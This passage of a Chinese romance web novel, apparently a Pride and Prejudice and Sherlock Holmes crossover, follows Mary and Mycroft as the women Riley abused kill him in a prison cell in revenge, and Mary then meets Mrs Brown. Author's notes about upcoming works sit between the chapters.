那种害羞和期待让玛丽下意识的捂住脸,仿佛这样就可以挡住自己磅礴的情感一般。 麦考福特原本正在看着窗台上的花朵,听见背后的动静才转过身。 玛丽捂着脸,一双眼睛笑的弯成了小月亮:“你回来了?” 麦考福特走上前在玛丽的额头落在一个吻:“家里的事情处理好了?” 玛丽点点头,牵着麦考福特的手坐在沙发上:“是的,幸好没有酿成大祸,也算是渡过难关了。” 麦考福特看着书房打开的门,露易丝站在门口冲着两人微微点头,只剩下一只眼睛的脸上带着期盼和紧张。 玛丽走上前扶着露易丝坐到两人对面的单人沙发上,然后回到麦考福特身边,拽着他衣服的袖子摇摇晃晃:“拜托了,好心的先生,可别让我们担忧,快说说结果如何?” 看到玛丽难得的撒娇,麦考福特十分受用,心底里油然而生了一种满足感,能够得到爱人的信任原来是这样一种感受:“放心吧,我们抓住他了。” 露易丝捂着嘴:“确定么,真的?不会再出什么意外吧?” 麦考福特微笑着摇摇头:“放心吧,他果然是想要利用维克汉姆绑架莉迪亚这一事件混淆我们的追踪,最后是在港口抓住的,如果再晚半个小时,恐怕他就要逃出海了……不过有一点很有意思。” 玛丽盯着麦考福特,眼神里充满好奇:“什么有意思的事?” 麦考福特一只手被玛丽握在掌心,没忍住的揉搓起她的手指来,这完全是下意识的行为:“有一个英国人送来了消息。” 露易丝也感到一丝奇怪,英国人? 麦考福特:“还记得之前雷利和莱格斯的合作么?” 玛丽立刻回想起来:“那个自以为吸血鬼的老混蛋!” 麦考福特点点头:“是的,他们是和一个英国人合作,那个英国人在巴黎做数学老师,平日里似乎没什么特别,但是他却很有一番势力,这次的事情他给雷利和我们都送去了消息,只不过看谁更快。雷利如果跑的更快,就能去往法国,而我们的行动更快,则能抓到雷利,那个英国人将这一消息称之为,礼物……” 玛丽感到一种奇怪的感觉:“他是谁,想要做什么?” 麦考福特抚摸着玛丽的掌心:“学生们都称呼他莫里亚蒂教授,但是叫什么名字,却没人知道,我们的人员在法国行动很是受到阻挠,他似乎有意归国,等到他回来以后,我自然会多加关注。” 玛丽听上去觉得他很奇怪,那个英国人在法国,却给国内许多上层议员爵士找了那么多事,特别给是麦考福特先生添了这么多麻烦,表面上看似乎是一个罪犯,可是到最后,却又帮助他们抓获了雷利? 麦考福特拍了拍玛丽的手:“对他来说,或许雷利已经没有利用价值了,雷利的很多行为和策划,都是根据这个莫里亚蒂的吩咐来做的。” 玛丽:“看来他是个邪恶的罪犯。” 麦考福特笑了笑,转而看向露易丝:“你们想要看看他么?” 露易丝低垂着头,整个人似乎都在发抖:“什么?” 麦考福特看着露易丝残缺的脸庞和身体:“对我来说,只需要提供雷利死亡的结果,至于怎么死,死在谁的手上,并不重要,而你们给玛丽的家人提供过帮助,也是她认可的朋友,我非常乐意在这件事情上,给你们行一些方便。” 露易丝几乎立刻扶着沙发的扶手想要站起来,玛丽连忙上前扶住了露易丝,发现她整个人都在颤抖,抓着她手的力气大的可怕。 玛丽想要安抚的拍一拍露易丝的后背,可是她的背上也是刚愈合不久的伤口,玛丽不敢轻易触碰她,只能把自己当做一个拐棍一个扶手,提供最基础的支撑和力量。 露易丝深吸一口气,氧气充盈着她的胸膛,让她感到一种沉甸甸的力量从鼻腔,气管,一直顺着肺部沉淀到胃里。 然后这一口气吐了出来。 那种很多年很多年,一直让她感到胃部被塞满了,想要呕吐却吐不出来的恶心和沉重,似乎都随着这一口气排出体外。 露易丝能感觉到自己脸上的表情似乎都扭曲了起来:“可以么,我们真的可以么?!” 麦考福特站起身,来到玛丽的身边,单手环过玛丽的肩膀:“为什么不呢?我很乐意给玛丽的朋友行一些方便,只要最后能看出是雷利那个老家伙就行。” 这样一份回答让露易丝几乎迫不及待就要离开这里去做些什么,可是只是稍稍挪动几步,就痛得不行,玛丽连忙拦住了她:“别,别激动,你快坐下,好好休息,有任何人任何事,我都可以帮你去找来,去安排,你还没有恢复。” 露易丝不得不顺着玛丽的力气重新坐在沙发上:“布朗夫人,还有玛格丽特夫人,还有艾拉,还有那些女孩,我要把这个消息告诉她们,我要告诉她们!” 玛丽的眼睛也开始有些刺痛,喜悦的泪水一滴滴的滑落:“放心,我立刻去给她们送信,我亲自去,你别着急,放心,我都会通知到的。” 麦考福特从口袋里掏出怀表看了看:“两天后的下午,我可以安排你们去看一看他,下午……四点如何?” 露易丝哪有什么不满意的,连忙点头,唯一愤恨的只是自己的身体,她现在的身体状况是没办法出门的,只希望她的姐妹和亲人们,可以帮她去见证那一切。 麦考福特将怀表放回口袋,然后拿出手帕一点点的擦掉玛丽的泪水:“没事了,玛丽,别哭。” 玛丽忍不住扑到麦考福特的怀里:“谢谢你,麦考福特先生,谢谢你,我也要替艾拉谢谢你……” 露易丝也在给自己擦眼泪,丝毫没有抬头看他们的打算。 麦考福特只能安抚性的拍打着玛丽的后背。 今天只是来通知玛丽她们这一消息,麦考福特很快就离开了贝克街。 玛丽将麦考福特送到楼下。 麦考福特在门口看着玛丽:“放心,布朗夫人那边我会去通知,据我所知,那个小艾拉和她在一起,很安全,至于两位玛格丽特夫人那边……” 玛丽抓着麦考福特的手指:“我去,我亲自去通知她们!” 麦考福特看了一眼玛丽:“带上安娜,别让我担心,别一个人离开,保护好自己,好么?” 玛丽点点头,眼神里满是柔光,看着麦考福特,玛丽踮起脚尖在他的嘴唇上落下轻柔的吻:“谢*谢你,麦考福特先生。” 麦考福特想要加深这个吻,可是时机不合适,只能恋恋不舍的抬手摸了摸玛丽的脸颊:“玛丽小姐,一切都会如你所愿的。” 玛丽看着麦考福特的马车离开,转而上了楼准备换身衣裳去通知两位玛格丽特夫人。 露易丝还坐在客厅,看到玛丽上来后感激的冲她笑了笑,玛丽却伸手握住了露易丝的手掌。 玛丽:“艾拉和我说过,我们是女人,我们是天然的同盟,但凡我能为你们稍微做一些什么,我都会愿意做的,雷利所作的那些事情,不只是伤害了你们,也是在伤害未来的女孩子们,我能够贡献一点点的力量去保护她们,是很有成就感的事情,好吧,虽然我可能都没做什么,大多数都是麦考福特先生在做……” 露易丝却握着玛丽的手:“没有你,他不会为我们做什么的,雷利难道是第一天做这些事么?不是的,可是那些官员那些贵族却视而不见,甚至成为了加害者中的一员。玛丽,不要低估自己的力量,哪怕福尔摩斯先生是为了你而做的,那我们也会感激你而不是他,我不知道如何恳切的表达,但是我的心意希望你明白。” 玛丽和露易丝牵着手,一时之间谁都没说话,还是玛丽率先打破了沉默:“我准备带着安娜去通知一下玛格丽特夫人,你有什么话要带给她们么?” 露易丝想了半天,却只是摇摇头:“没什么,能见证那个人的死亡,已经很不错了,我不知道说什么,我只是……想要一个结果。” 玛丽也没再追问,和安娜回房间换了一身色彩明亮的裙子:“有这样的好消息,我可要穿的漂亮点再去。” 一身嫩绿色的裙子仿佛提前到来的初春,玛丽带着安娜赶车来到了希腊街。 此时临近下午,希腊街的女支院里虽然不算热闹,但是也有一些客人。 玛丽穿着艾拉留给她的斗篷,仿佛艾拉还陪伴在她的身边那样,上前敲开了门。 开门的是玛格丽特夫人,她还是那样,脸上一副十分不好惹的表情,但是看到玛丽之后,却面色平和了一些:“你怎么来了,这时候可不该来这里,不,你这样体面人家的姑娘任何时候都不该来这里,有什么事让报童或者什么人过来通知一下就好了。” 玛丽却上前给了玛格丽特夫人一个拥抱:“好消息,一个我必须亲自来和您说的好消息。” 玛格丽特夫人左右看了看,狠狠的拍了一下玛丽的后背:“真是胡闹,算了,你快进来,别在门口耽误了,免得更多人看见。” 带着玛丽一路绕过一些很是“热闹”的房间,两人上楼来到了玛格丽特夫人的房间。 请安娜坐在桌子边,玛格丽特夫人倒了一杯热茶:“有什么好消息,倒是要让你亲自来说的。” 玛丽接过玛格丽特夫人递来的热茶:“或许这么说有些冒昧,但是我觉得像我妹妹那样直白一些也没什么不好,请问您两天后的下午有空么,或许你愿意去亲眼见证雷利死亡。” 【作者有话说】 最多四章就完结了, 目前暂时预收两个坑,一个男主YM的汉弗莱,汉妃,另一个是达西,可以按照喜好收藏,到时候根据收藏量先后开坑,坑肯定会开的,放心。[垂耳兔头] 93 第93章 要如何形容此刻的心情呢。 玛格丽特夫人不知道用什么词汇,她没上过几年学,就连妓院的账单都算的磕磕绊绊。 如果非要用一种朴实无华的词汇来形容的话,那就是心脏停顿了。 不是那种死亡的停顿,而是一瞬间,仿佛耳朵听不见外界的声音,有一种空荡荡的,仿佛所有的东西都消失的感觉。 很软,脚下的地面是软的,玛格丽特夫人感觉自己的腿也是软的。 想要坐下来,摸一摸地板,看看是不是变成了什么柔软的棉布。 玛丽这个小丫头在旁边,张着嘴似乎说了什么,但是玛格丽特听不见,她被玛丽和安娜搀扶着坐在凳子上。 抚摸着凳子的扶手,坚硬的木制品倒是带来了一些真实的触感。 等到重新吸入一口空气之后,玛格丽特才发现原来自己已经闭气了那么久,胸口都快炸开一般。 耳朵那种被堵住的感觉也渐渐恢复。 空气和声音都回来了。 玛丽:“玛格丽特夫人?你还好么?” 玛格丽特张开嘴,想要说什么,可是喉咙一时之间说不出话,狠狠的给自己大腿掐了一下,那种本应该剧烈的疼痛仿佛也不存在,玛格丽特不相信,再次掐了自己一下,这一次终于感觉到了疼痛,玛丽还把她的手给拽开了。 玛丽:“夫人,夫人,你冷静一点。” 玛格丽特抬头看着玛丽:“我不是在做梦,对吧?” 玛丽握着玛格丽特夫人的手:“不,不是在做梦。” 玛格丽特听见这句话想站起来,可是腿软的动不了:“我,我要去告诉姐妹们,我要去告诉她们。” 玛丽连忙按住玛格丽特夫人,她看上去说实话,有些可怕,仿佛和疯了一样,她的脸颊都泛着一种显眼的红色,要比涂了任何化妆品都要红艳,脖子的血管经络都鼓胀起来。 玛格丽特夫人扶着扶手:“我得去告诉她们,我得去告诉她们!” 不断的重复这句话,玛格丽特夫人忽然坐在地上嚎啕大哭起来,那哭声之凄厉,简直让玛丽都忍不住想要一起落泪。 很快外面传来吵杂的脚步声,好些个姑娘衣服都没穿好就急匆匆的跑了过来。 安娜眼尖,甚至看见两个没穿衣服的男性跟在后面。 连忙用斗篷将玛丽挡住:“别看。” 玛丽背过身,不去看门口。 玛格丽特夫人看见那么多姑娘都来了,靠在一个女孩的怀里:“太好了,太好了!” 那女孩的上身都没穿好衣服,袒露着胸膛,一脸的莫名其妙,但是下意识的抱着玛格丽特夫人,让她靠在自己的肩膀上:“怎么了,玛格丽特,出了什么事?快别吓我们了。” 玛格丽特用袖子胡乱的擦着脸上的泪水,头发都被袖子抹的乱糟糟的:“是好事,是好事,晚上我再同你们说,等这几个先生走了,就关门,暂时不接待客人了。” 玛丽安静的走到一边,避免自己看见什么。 女孩们中有认识玛丽的,略微点点头,然后分别将门口的几个男人拉走。 等她们都走了,玛丽才将玛格丽特夫人拉起来:“您好好休息一会,我先去找另一个玛格丽特夫人。布朗夫人哪里,麦考福特先生会去通知的,你放心,一切都会安排好的。” 玛格丽特夫人根本坐不住,握着玛丽的手:“我同你一起去,我同你一起,我得把这个好消息也告诉她。” 玛丽看了眼玛格丽特夫人,她的眼中满是坚持,于是点点头:“我也和您一起。” 临出门的时候玛格丽特夫人将一个女孩叫到面前,小声交代了什么,玛丽站在门口没听清,但是女孩立刻双手捂住嘴,发出短促的惊呼,然后来到门口给了玛丽一个大大的拥抱。 等到女孩松开玛丽后,玛丽整张脸都变得通红,那个女孩身材健康丰满,相比之下要比玛丽更高一些,玛丽的脸庞几乎都要被她丰满的胸口包裹住了。 那女孩还觉得不够,双手捧着玛丽的脸,在她的额头和脸颊落下一个又一个重重的亲吻:“好姑娘,你真是个好姑娘,给我们带来这样的好消息。” 安娜看着玛丽越来越紧张和通红的脸,连忙将她拉开。 玛丽的眼睛亮晶晶的看着那个女孩,她可真好闻,香香的,还很柔软。 安娜不得不掏出手帕,把玛丽脸上一个叠一个的口红印给擦掉。 等擦完了那些印记玛格丽特夫人也洗了一下脸,可以出门了。 两人乘上马车,一路来到了贫民窟。 这次是玛格丽特夫人上前敲门。 另一个玛格丽特夫人打开门的时候还愣住了。 等到玛丽说出来意,再次得到了两位夫人的亲吻。 等到确认好时间之后,玛丽回去的路上都觉得整个人轻飘飘的。 嘴角都止不住的上扬。 将斗篷脱下,抱在怀里,玛丽将自己的小脸埋在斗篷里,发出笑声,笑着笑着,又哭了出来。 安娜只能默默的拍打着她的后背安慰她。 幸好玛丽很快就振作了起来:“到时候一切都会结束的。” 接下来的两天玛丽都没出门,到了那一天的下午,玛丽的家里才陆陆续续的来了几个人 大家都穿的十分简谱,不再是之前看见的那样,穿着颜色亮丽的裙子,华丽的裙摆上满是装饰,反而是很简单的装扮,灰扑扑的裙子,头发都被包裹住。 两位玛格丽特夫人都默契的穿上了黑色的裙子。 露易丝在客厅坐着,几个女孩都给了她一个拥抱,谁都没敢真正的抱住她,她看上去太可怜了。 等到麦考福特先生来的时候,屋子里已经坐了五六个人了。 除了玛丽,安娜,露易丝之外,贫民窟的女支院来了两个人,除了玛格丽特夫人之外,还有另一个女孩,那个女孩玛丽没见过,她低着头,帽子上还有面纱。 希腊街的来了三个玛格丽特夫人,小艾拉,还有另一个小姑娘。 玛丽没有追问那两个不认识的小姑娘的事,看见麦考福特先生到来之后立刻走上前:“我们可以出发了么?” 麦考福特点点头,原本还以为可以和玛丽单独相处一会,现在看来只能尽快把事情完结了。 领着众人下了楼,玛丽和麦考福特先生自然是一辆马车,剩下的几位女士决定坐一辆马车。 给玛丽和麦考福特先生赶车的依然是托马斯,这也算是一个老相识了。 安娜和托马斯坐在前面的车夫位置,玛丽和麦考福特坐在车厢里,一时之间两人谁都没先说话。 麦考福特还在想着要说些什么,玛丽却伸出胳膊抱住了麦考福特的腰。 不止,不只是拥抱,玛丽侧过头在麦考福特的唇上落下了一个吻。 麦考福特立刻得寸进尺,拽着玛丽的手臂,让她坐在自己的腿上,这样的高度,让两人靠的更近。 炽热的唇舌碰撞出无限的火花,麦考福特甚至感觉到有些热了。 哪怕在这样的季节里,麦考福特都能感觉到后背的汗水。 还是玛丽先行退缩,她的舌尖一点一点的退出,可是麦考福特根本不打算放过她。 他环抱着玛丽的腰,不许她退缩。 最终玛丽不得不在他的唇角咬了一下,虽然自以为自己很凶狠,可是这种噬咬其实更加刺激。 如果不是麦考福特还有一丝理智的残留,恐怕玛丽都不会脱困。 等到两人分开,玛丽靠在麦考福特的胸口喘着气,手里还一点点的拽着他西装的扣子。 麦考福特不得不抓住玛丽的手,包裹在掌心:“别这样,玛丽小姐。” 他脸色涨红,神情迷离,眼神透着一丝渴望和挣扎。 玛丽抬头看着麦考福特,却在他的下颚再次落下一个吻:“谢谢你麦考福特先生,谢谢。” 麦考福特不得试图说一两句调皮话转移玛丽的注意力:“这份谢礼我十分喜爱。” 玛丽抓着麦考福特的手指:“我很开心,看到她们的笑容,我真的很开心。” 麦考福特一只手环在玛丽的后背,手掌搭在她的肩上:“玛丽,你的开心,对我至关重要。” 玛丽笑了起来:“是的,所以我也希望你开心,我想了很久该如何感谢你,但是到最后,我还是想着,我更想亲吻你,麦考福特先生。” 麦考福特的心都软了下来,两人在马车里没有在做什么,但是玛丽靠在麦考福特的怀里,感受到两人的心脏都在以一种同样的频率,一起跳动。 考虑到今天的目的,麦考福特并没有将她们一行人带去某个秘密基地,而是安排人将雷利带到了苏格兰场的监牢。 前来接待的还是那位哈克局长。玛格丽特夫人几人都在后面的马车上,没有下车。 麦考福特带着玛丽一起来到了局长办公室。 还是上次的房间,还是上次的人。 哈克上前和麦考福特握手:“许久不见麦考福特,听说你最近办了几件大事?” 麦考福特微微一笑:“不值一提,都是为了给首相和女王效力罢了。” 哈克和麦考福特寒暄了几句,然后看向玛丽:“您是……啊,我想起来了,上次,对对,就是上次,我还记得你,麦考福特弟弟的朋友,那个小伙子叫夏洛克来着,对吧!” 麦考福特脊背挺直,他和玛丽进门的时候并没有挽着手臂,反而是各自站在一边,听见哈克这么说的时候,麦考福特忽然露出一个更加亲切的微笑,伸出手臂看向玛丽。 玛丽不明所以,但是还是挽住了麦考福特的手臂,眼神里满是疑问?这是怎么了? 看着玛丽站在自己的身边之后,麦考福特以一种不会被错认的,几乎称得上得意洋洋的表情介绍道:“哦,哈克,请容许我介绍,这位是玛丽小姐,现在她是我的女伴了。” 【作者有话说】 目前暂时预收两个坑,一个男主YM的汉弗莱,汉妃,另一个是达西,可以按照喜好收藏,到时候根据收藏量先后开坑,坑肯定会开的,放心。[垂耳兔头] 预计周五完结。[垂耳兔头] 94 第94章 玛丽侧过脸,避开了哈克局长的视线,冲着麦考福特翻了个白眼,挽着麦考福特手臂偷偷用力掐了他一下。 竟然因为一句调侃而变得羞涩通红。 气哼哼的看着麦考福特炫耀的样子,都不知道说他什么好。 哈克也是难得看到麦考福特如此神情外露的样子,要知道麦考福特可是出了名的喜怒不形于色。 现在这样一幅幸福的模样,倒像是脚踏实地的普通男人了。 哈克再次握住麦考福特的手,甚至拿出一副长辈的态度拍了拍他的肩膀,虽然他确实年长麦考福特很多,可在此之前他从没把自己当做一个长辈,毕竟麦考福特的职位和能力都高他许多:“啊,那这次可真是确确实实的要恭喜你好事将近了。” 麦考福特能感觉到胳膊上越来越用力的小手:“哦,您可别取笑我了,我还在追求这位美丽的小姐,请求她能够稍微垂怜我几分呢。” 哈克一听,左看右看,忽然笑了出来:“好啦,麦考福特,到时候婚礼可一定要记得邀请我,我可以让我的小威廉给你做花童。” 两人寒暄了几句终于步入正题,哈克特意调配了人手,腾出了一间牢房,这对他来说不是什么难事,雷利是今天早上才被送来这里关押的,因为带着头套,堵着嘴,没人知道他是谁,一些羁押看守的警官也只是远远地看过两眼,毕竟牢房内外都有人驻守,局长也吩咐过不要多打听。 玛格丽特夫人她们坐的马车是直接从后门开进去的,一路上没有遇到任何阻拦,麦考福特和哈克分别之后带着玛丽出门,从前厅绕到后面。 牢房一共有四层,但是地面只有三层,雷利在地下的那一层,相对于其他犯人而言他的看守等级可谓非常之高。 因为有哈克的签字证明,几个人很顺利的绕过一层的牢房来到了地下。 麦考福特站在最前面,地下一层目前只有雷利一个犯人,一进去两边还有四个看守。 这里面都是麦考福特的人了,玛丽在进入牢房之后就松开了麦考福特的手臂,和玛格丽特夫人她们站在了一起。 雷利带着头套,嘴巴里还塞了一个破棉布,只能发出一些呜咽,身上虽然没什么伤口,但是手脚都被捆绑着,看得出来他很恐慌。 麦考福特吩咐人打开监牢的大门,玛丽和几位夫人一起走了进去。 贴身看守雷利的还有两个,其中一个在看到麦考福特的示意后一把掀开了雷利的头罩,然后转身走出了牢房,将这里留给了麦考福特和几位女士。 黑色的头罩掀开后,雷利第一反应是侧脸躲开火把的光,从黑暗中突然接收到亮光,雷利显然受到了一点刺激,下意识的闭上眼睛,移开了视线。 因为有两位玛格丽特夫人在场,为了避免玛丽的混乱,于是请玛丽按照她们的大小称呼就行。 年纪略大的那位是贫民窟的大玛格丽特夫人,希腊街的那位是小玛格丽特夫人。 大玛格丽特夫人虽然表面上看上去脾气更和缓一些,但是能在贫民窟打下一片地盘怎么也不是好欺负的。 在看到雷利的脸之后她第一个冲上去,狠狠的给了雷利一个响亮的耳光,随即在他脸上啐了一口,这一巴掌力道之大,都把嘴里的棉布打飞了出去。 “你也有今天!雷利!” 雷利感觉耳朵里仿佛被堵住了,一巴掌几乎快把他扇的晕过去,他可从来没受过这样的委屈。 小玛格丽特夫人扶住姐姐,两人站在雷利的一步之遥看着他。 雷利仔细打量了两人,然后将视线移向了玛丽和麦考福特:“麦克,麦克,我亲爱的朋友!我们可是朋友,你不能这样对我!” 麦考福特脸上是显而易见的虚伪微笑:“当然,雷利爵士,我们是朋友,要不然我也不会给你这样的体面。” 雷利完全没在意牢里的其她人,他的眼里只有麦考福特,在他看来,能决定自己生死的,也只是麦考福特:“你放过我,我会给你钱的,很多钱,很多很多钱!” 玛丽上前狠狠的踢了一脚雷利的小腿:“谁在乎你的臭钱,你这个混蛋!渣滓!败类!你就该下地狱!” 这就是玛丽能骂出最脏的话了,她来来回回,翻来覆去的,也只能骂这么几个词。 相比之下,两位玛格丽特夫人就优秀多了,语言文化之博大精深,简直让玛丽叹为观止,甚至她一边骂还能一边打他的耳光。 几乎是两个玛格丽特夫人骂一句她都要接一句。 对! 没错! 骂的漂亮! 如果不是气氛不合适,麦考福特都有些想要笑出来了,雷利咬牙切齿的看着两位玛格丽特夫人:“你们是谁,这里可轮不到你们说话!” 大玛格丽特夫人身后的一个女孩脸色苍白,神情愤怒,几乎浑身都在颤抖:“你竟然……你竟然敢不记得我们了!” 玛丽看着她都快要晕过去的模样想要上前搀扶她,可是那个女孩坚定的推开了玛丽,走到了雷利的面前:“你不记得我了,对吗!” 雷利被两个玛格丽特夫人一个耳光接一个耳光的打了好多次,虽然嘴巴还在骂骂咧咧,可是脸都肿了起来,看上去狼狈不堪。 将女孩从上到下扫了几眼,雷利咧着嘴,流出带着血液的口水:“你算是个什么东西。” 那女孩握着拳头冲到雷利的面前,下一秒雷利的脸色变得僵硬和不敢置信,视线从看向女孩逐渐下意到自己的胸口。 等到那个女孩哆嗦着后退了两步,玛丽才发现她握在手里的东西,一把小刀。 此刻这把刀已经插在了雷利的胸口。 那女孩死死地盯着雷利:“没关系,你不记得我也没关系,只需要你在地狱的时候别忘了,是我,是我亲自杀了你!” 她的眼睛通红,甚至眼白都泛着红血丝,整张脸掺杂着兴奋,痛苦,不敢置信和一种大仇得报的茫然:“是我,我亲自杀了你,我就靠这个念头活着呢,等到有朝一日,我也坠入地狱的时候,你别忘了我的脸,因为我到时候会再杀了你一次!” 另一个玛丽不认识的女孩也走上前,当着玛丽的面,拔出了那把刀,随着血液的飞溅雷利的身体哆嗦了一下,然后下一秒因为小刀再次被插入胸口而打颤。 那女孩的眼泪不断的留下来,脸庞满是泪水:“还有我,别忘了,还有我。” 三个女孩,还有两位玛格丽特夫人,每个人都给了雷利一刀。 她们都默契的避开了心脏。 就这么让雷利死了可太便宜他了。 玛丽第一次直面这种情况,有些害怕,但是她没有避开视线,强迫自己看着雷利的下场。 一开始雷利还在哭嚎惨叫,到后面因为血液不断的流逝,他的声音开始变小。 玛丽走到了雷利的面前,整个人都有些颤抖,说不清是恐惧更多,还是紧张更多 麦考福特走到玛丽的身边,单手揽住她的肩膀,给予她力量,另一只手从胸口的位置掏出一把小手枪:“如果你不敢用刀的话,我还给你准备了手枪,后坐力不大,但是威力惊人,我想你应该会喜欢的。” 将那把小手枪递到玛丽的面前,麦考福特甚至要扶着玛丽的手打开保险,给雷利来上那么一枪。 但是玛丽没有接过枪,反而推开了麦考福特,她坚定的站在雷利的面前,想要伸手,但是却无从下手,转头看向旁边的麦考福特:“麦考福特先生,你能让他抬起头么?” 麦考福特当然愿意为了玛丽效力,微笑着走到雷利的身后,直接伸手抓住了他的头发,强迫他抬头看着玛丽,甚至饶有兴致的看着玛丽:“这样可以么?” 玛丽紧张的点点头,然后看向雷利痛苦苍白的脸庞,强迫自己不要因为恐惧和紧张而发抖,她死死地盯着雷利的眼睛,虽然那双眼睛已经开始变得有些茫然和空洞:“我是玛丽班纳特,你曾经命令手下绑架了我和我的朋友,艾拉,她叫艾拉道格拉斯” 这个名字给了玛丽勇气,她深吸一口气,摸着自己的斗篷,这是艾拉留给她的斗篷,她今天特意穿上的。 玛丽:“是我们杀了你,你要记住,雷利,是我们,是无数和艾拉这样的,被你伤害的人一起杀了你。” 两位玛格丽特夫人握住玛丽的手,玛丽虽然面色苍白,但是神情坚定:“我们不只是要杀了你的躯体,我们还将毁灭你的灵魂,你的家族,你的名誉,你的一切,我们都会摧毁!” 雷利努力想要看清楚面前的这群女人,她们是谁,他真的不记得了。 对他过往的人生而言,女人是工具,是装饰,是毫不起眼的宠物,他从没有尊重过任何一个女人,也没有把她们看在眼里。 现在他想要看清楚,可是来不及了,死神的脚步逐渐走近,他恍惚间以为自己听见地狱之门开启的声音。 身体变得越来越冷,他开始打哆嗦,那种血液不断从身体里流失的感觉,先是乏力、头晕,他能感觉到自己的心跳在开始加快。 嘴巴里开始出现干渴的感觉,他想要吞咽什么,可是嘴里除了血液什么都没有,他也想深呼吸,可是太痛了,那些血液似乎进入了肺部,他咳嗽的时候,甚至能感觉到血沫从嘴里涌出的感觉。 眼前越来越黑,在黑暗吞噬他之前,雷利最后看见的,是一个粉色的斗篷。 在这样黑暗的环境里,他最后只能看清楚的是那个粉色的斗篷。 那粉色越来越近,和那粉色一同到来的,是挥舞着镰刀的死神,雷利以为自己看清了那个死神的模样,可是那死神的脸藏在在一片黑暗中,他什么都看不见了。 雷利不动了,他的胸膛不再有起伏,血液在地上汇成了一滩,玛丽后退了两步,避开了地上的血液。 麦考福特能感觉到手底下的脑袋越来越沉。 等到松开手,发现雷利的头彻底垂下去不再动弹,麦考福特淡然的伸出指尖触碰他的脖子,原本应该跟随心跳而鼓动的血管不再有任何起伏,大玛格丽特夫人也上前摸了一下。 “他死了。” 大玛格丽特夫人说道。 玛丽从抓紧斗篷转而背过身,偷偷擦着眼泪。 雷利死了,他死了,她要亲自告诉艾拉这个好消息。 麦考福特收回手,从口袋里掏出手帕,慢条斯理的擦拭着指尖的血液和脏污:“你们对他还有什么后续的想要做的么?我只需要保留他的头颅就好,至于其他部分,你们可以随意处置。” 玛丽脸色有些白,但是她什么都没说。 可是玛格丽特夫人她们都摇了摇头,她们并不是那种丧心病狂的变态,能够报仇,已经是最好的结局了。 既然如此麦考福特也就没什么再逗留的必要了,带着几位夫人离开这里,让人将雷利的尸体处理干净,麦考福特准备送玛丽回去。 大玛格丽特夫人却走了过来:“玛丽小姐,你明天晚上是否还有空?” 玛丽站在马车边:“啊……我明晚……” 麦考福特看向玛丽:“没关系,玛丽小姐,我随时可以为了你更改安排。” 本来两人约了明晚一起共进晚餐,但是玛格丽特夫人显然想要邀约她。 大玛格丽特夫人看了眼麦考福特,然后将视线看向玛丽:“既然如此,不知道你愿不愿意见一见布朗夫人,她很期待和你聊一聊,如果你愿意的话,明晚怎么样?” 【作者有话说】 明天,完结了!!!!! 目前暂时预收两个坑,一个男主YM的汉弗莱,汉妃,另一个是达西,可以按照喜好收藏,到时候根据收藏量先后开坑,坑肯定会开的,放心。[垂耳兔头] 【全文完结】 95 第95章 布朗夫人是个十分美艳的女人。 她长着一张艳丽又多情的面容,看上去四十来岁,笑起来自带一股风流,原本看上去娇媚诱惑的脸上会出现两个甜甜的酒窝,显示出一种单纯的天真,明知道她是一个成熟的妇人,依然会被她那种稚嫩天真的眼神所迷惑。 更别说她一头艳丽的红发,大部分的发丝都被梳了上去,但是零散的一些发丝飘荡在她的鬓角和脸颊边,更显得她皮肤白皙娇嫩。 玛丽发誓,她拥抱自己的时候,自己的心脏都快停止了,当她和麦考福特敲响大门,那扇门打开的时候,布朗夫人的背后那璀璨的光芒几乎闪耀的像是在白金汉宫里。 晚风来袭,一阵带着冷意的风吹拂过几人,风里还裹挟着一抹魅惑诱人的香味,只有一个浓烈热辣的女性才会拥有的香味。 她好香,玛丽和布朗夫人拥抱的时候不自觉的埋在她的怀里轻轻嗅闻了两下。 还没等布朗夫人说什么,麦考福特就脸色难看的将玛丽拉了回去,揽在自己的怀里,脸上的笑容虚假又刻薄:“晚上好,真是盛情,竟然让布朗夫人亲自来门口迎接我们。” 说道我们的时候,玛丽似乎都能听见麦考福特磨牙的声音。 布朗夫人娇笑了一声,玛丽只觉得自己的耳朵又要滚烫起来,那是一种和麦考福特完全不同的声音,甜蜜蜜的,仿佛在寒冬里喝下一杯热巧克力的那种甜蜜。 玛丽几乎忍不住的抬起手挡住自己的脸,她甚至能感觉到自己的脸颊在发热。 一双绿色的眼睛含着水光,望着布朗夫人。 心里不知道怎么形容,想了半天也只有一句话。 她可真美啊。 玛丽特别小声的打了个招呼,唯恐自己的声音大了,都会惊扰这位美人:“晚上好,布朗夫人。” 布朗夫人让开门口的位置:“快进来吧,孩子们。” 当她说孩子们的时候,玛丽似乎没控制住自己,发出了一声嘤咛般的回答:“嗯。” 玛丽压根忘了麦考福特,向前一步就想挽着布朗夫人伸出的手,结果直接被麦考福特抓住手腕,拉在自己的掌心,玛丽回过头,就看到麦考福特气的不轻的样子,他难得的冲着玛丽瞪了一眼:“玛丽小姐!” 这时玛丽才反应过来,连忙抓着麦考福特的手臂轻轻摇晃起来:“对不起对不起!” 她完全被这位美人迷住了,压根没想起来今天自己是和麦考福特一起来的。 等到两人在会客厅坐下的时候,麦考福特的脸色才好看了一些。 刚才玛丽几乎在麦考福特的耳边答应了一万个条件,才算哄好了这位先生。 布朗夫人坐在两人对面,等到所有的仆人都退下之后布朗夫人才换上另外的面孔,看上去严肃又郑重:“我没什么好说的,唯有感谢,不论是麦考福特,还是你,玛丽,谢谢你们。” 说完布朗夫人端起面前的酒杯,这是她特意准备的热潘趣酒,非常适口,玛丽也能喝上几杯的那种。 玛丽和麦考福特也端起了酒杯。 布朗夫人:“敬我们自己。” 玛丽麦考福特:“敬我们自己。” 等到大家喝了一杯酒之后,布朗夫人看向麦考福特:“或许我们之后也有一些可以合作的事情。” 麦考福特看了眼玛丽,她又在看着布朗夫人了,似笑非笑的看了眼布朗夫人,发现她还在冲着玛丽抛媚眼,玛丽的脸都红的不行了! 难得的呛了一句:“如果你不要总是冲着我的玛丽小姐散发你多余的魅力的话,我觉得我们会是不错的合作对象。” 布朗夫人笑着再次冲玛丽眨了眨眼睛:“哦,看来你有一个非常善于吃醋的丈夫,真让人伤心。” 玛丽捂着脸有些害羞:“麦考福特先生特别好,而且我们还没有结婚,我可能不一定会这么早和麦考福特先生结婚。” 布朗夫人有些好奇了:“怎么?难道麦考福特先生还没打动你的心么。” 玛丽看了麦考福特一眼,大大方方的笑了一下,握着麦考福特的手:“不,他已经拥有我的心了,但是我还拥有我自己的人生,我有一些自己的打算,所以可能会晚上几年再结婚。” 